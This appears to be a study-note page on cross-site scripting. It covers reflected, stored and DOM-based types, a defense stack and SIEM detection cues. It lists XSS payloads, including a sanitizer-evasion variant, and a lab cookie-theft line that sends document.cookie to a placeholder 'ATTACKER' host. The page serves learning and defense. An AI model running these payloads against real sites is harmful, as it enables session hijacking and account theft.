

Cross-Site Scripting (XSS) Deep

The three XSSs

Type	Where it executes	Reach
Reflected	Your request's payload echoes into response (URL)	One-shot, no persistence
Stored	Payload saved to DB, served to anyone later	Max persistence
DOM-based	Client-side JS reads location.hash/DOM and sinks unsafely	Browser-only, no server echo

Payload craft

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
javascript:alert document.domain      # href/iframe/object sinks
<svg onload=alert(1)>
# polyglot-ish cloaking baseline:
<scr<x>ipt>alert(1)</scr</x>ipt>      # when sanitizers strip tags
```

Stealing the session (demo-level proof)

```
// on a stored-XSS page (lab):
<img src=x onerror="fetch('http://ATTACKER/c?c='+document.cookie)">
// attacker logs: tail -f access.log | grep 'c='
// -> session token exfiltrated; prove replay in Repeater
```

DOM particulars

sinks: `el.innerHTML`, `document.write`, `location`, `eval`

sources: `location.hash`, `document.referrer`, URL params read by JS

Detect: where client JS reads input AND writes unsafely

Defense stack

Encode on output in recipient context (HTML, attr, JS, CSS, URL) – use framework auto-escaping (React/Django/Angular)

Never use dangerouslySetInnerHTML/innerHTML with user data

CSP (Content-Security-Policy): default-src 'self'; no inline unless 'unsafe-inline' hated; report-only first

HttpOnly cookies (session not readable by XSS)

Sanitizer for rich text (DOMpurify on client AND server)

XSS-Auditor/filters are legacy, incomplete – not a defense

Detection-in-SIEM lens

'script' tags or onerror patterns in request payloads/POST bodies

Cookie error: no; but follow the source: which endpoint did the token leave from?

[← SQL Injection Deep](#)

[CSRF & SSRF Attacks →](#)